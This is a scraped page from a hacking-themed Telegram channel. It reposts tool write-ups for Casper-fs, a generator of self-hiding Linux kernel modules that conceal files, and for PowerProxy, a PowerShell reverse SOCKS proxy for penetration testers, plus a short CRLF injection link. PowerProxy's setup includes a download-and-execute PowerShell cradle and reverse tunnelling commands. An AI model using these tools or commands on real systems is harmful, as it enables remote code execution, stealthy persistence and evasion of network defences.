Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Casper-Fs : A Custom Hidden Linux Kernel Module Generator

Casper-fs is a custom Linux Kernel Module generator to work with resources to protect or hide a custom list of files. Each LKM has resources to protect or hide files following a custom list in the YAML rule file. Yes, not even the root has permission to see the files or make actions like edit and remove. The files only can be caught, edited, and deleted if the user sends a proper key to the custom device to liberate the action in the file system. OverviewThe first point, the user sends input to the Casper-FS the YAML file with rules to generate a custom LKM(Linux kernel module), each generated module works in the file system to protect and hide secret files (Not even the root has permission to see the file, only can see with a proper sending key to the custom device). This program has two principal functions: turning private files hidden. The second function is to protect confidential files to prevent reading, writing and removal.

The motivation: An attacker can read every file in your machine in a bad situation(if he got root). But if you have a Casper-fs custom module, the attacker will not find the hidden kernel module that has functions to protect your private data files such as logs and password vaults.

My beginning purpose at this project is to protect my server, which is to protect my friends’ machines. When I talk to friends, I say peoples that don’t know how to write low-level code. Using the Casper-fs, you can generate your custom kernel module to protect your secret files. The low-level programmer can write new templates for modules etc. The first step, understand before the run.Verify if the kernel version is 3.x, 4.x, or 5.x:

$ uname -r

Clone the repository

$ git clone https://github.com/CoolerVoid/casper-fs

Enter the folder and install python3 modules:

$ cd casper-fs/module_generator
$ sudo python3 -m pip install -r requirements.txt

Edit your file rules in directory module_generator/rules/fs-rules.yaml, the python scripts, use that file to generate a new casper-fs custom module.

$ cat module_generator/rules/fs-rules.yaml
binary_name: casperfs
module_name: Casperfs
unhide_module_key: AbraKadabra
hide_module_key: Shazam
fake_device_name: usb15
unhide-hide-file-key: Alakazam
unprotect-protect-file-key: Sesame
fs-rules:
hidden:
1: secret.txt
2: my_vault.db
protect:
1: backup_httpd.log

The array is hidden and array protected. You can insert a lot of the elements of another file on context, for example:

protect:
1: backup_httpd.log
2: secret_img.iso
3: secret_file.img
4: secret_file2.img
5: secret_file3.img

If you want to study the static code to generate, look at the directory “templates” content. The second step, generate your module.If you want to generate a kernel module following your YAML file of rules, follow that command:

$ python3 casper-fs-gen.py –rules rules/fs-rules.yaml The third step, install your module.If you use Fedora Linux, install kernel packages for the developer:

dnf update
dnf install kernel-headers.x86_64 kernel-modules.x86_64 kernel.x86_64 kernel-devel kmod

On Ubuntu Linux:

apt install linux-headers-generic gcc make

To test module:

cd output; make clean; make
insmod casperfs.ko The fourth step runs your custom module.* The password to turn casper-fs module visible for lsmod is the key “Shazam”.
* The password to turn the casper-fs invisible is “AbraKadabra”.
* The password to turn the secret files in hidden is “Alakazam”, the same to turn to unhidden.
* The password to protect files or unprotect is “Sesame”.

You need to send the password for your fake device, “usb15” for example, to test hidden and unhidden resources on the file system:

$ touch secret.txt
$ ls
— no results–
$ echo “Alakazam” > /dev/usb15
$ ls
secret.txt
$ echo “Alakazam” > /dev/usb15
$ ls
— no results–

Not[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Casper-Fs : A Custom Hidden Linux Kernel Module Generator Casper-fs is a custom Linux Kernel Module generator to work with resources to protect or hide a custom list of files. Each LKM has resources to protect or hide files following…
e You need to turn casperfs visible at the “lsmod” command. Need this action before removing module

rmmod casperfs
rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove ‘casperfs’: No such file or directory
rmmod: ERROR: could not remove module casperfs: No such file or directory
lsmod | grep casper
echo “Shazam” > /dev/usb15
lsmod | grep casper
casperfs
rmmod casperfs Download

___________________________
@hacking_Attack
@Hacking_Video
CRLF (%0D%0A) Injection

Hello Guys! I am vasu a bug bounty learnerContinue reading on Medium »
Read more...
PowerShell SOCKS proxy with reverse proxy capabilities. PowerProxy is written with penetration testers in mind. Reverse (https://www.kitploit.com/search/label/Reverse) proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication (https://www.kitploit.com/search/label/Authentication) is supported for Socks (https://www.kitploit.com/search/label/Socks) 5 connections.
Setup Import the script: iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1 reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL (https://www.kitploit.com/search/label/OpenSSL) isn't installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the --no-encrypt option. Usage For detailed usage, check out PowerProxy's help, or use ./reverse_proxy_handler.py --help Run a reverse proxy On local machine, start the handler: # Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080 In PowerShell: Start-ReverseSocksProxy 172.1.1.20 -Port 8080 Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server: curl --socks4 127.0.0.1:1080 http://10.10.2.69/ Run a traditional SOCKS server Start-SocksProxy 172.10.2.20 -Port 9050 Require authentication Use PSCredential objects to require a username (https://www.kitploit.com/search/label/Username) and password: # Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose Limitations At the moment, only CONNECT requests are supported. BIND support is a goal, if practical. GSSAPI authentication is not supported. reverse_proxy_handler.py is only tested on UNIX-based machines, and probably doesn't work on Windows.

Download PowerProxy (https://github.com/get-get-get-get/PowerProxy)

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
PowerProxy - PowerShell SOCKS Proxy With Reverse Proxy Capabilities

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXZdpkJl-ndNE79XnTdBFqhJZwtY0SCHuUNkoUdlg2msPrW3alNDz25HLQVIFRUQaYCQOvaHKUmjMaI8VaEBfRsv6ey_tqMi7ZVglP24zX6ILKN2e1gBFnsINlxg3bT9MqzK6YEaulFwJqqaJdDJQj_1xQWEPMD3Kqv_nlrBgNX3dwV_JV07IgCAGu/w640-h318/proxy.png
PowerShell SOCKS proxy with reverse proxy capabilities.

PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication is supported for Socks 5 connections.
Setup

Import the script:

iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1


reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL isn't installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the --no-encrypt option.

Usage

For detailed usage, check out PowerProxy's help, or use ./reverse_proxy_handler.py --help

Run a reverse proxy

On local machine, start the handler:

# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080


In PowerShell:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server:

curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Run a traditional SOCKS server

Start-SocksProxy 172.10.2.20 -Port 9050

Require authentication

Use PSCredential objects to require a username and password:

# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose


Limitations

* At the moment, only CONNECT requests are supported. BIND support is a goal, if practical.
* GSSAPI authentication is not supported.
* reverse_proxy_handler.py is only tested on UNIX-based machines, and probably doesn't work on Windows.
Download PowerProxy

___________________________
@hacking_Attack
@Hacking_Video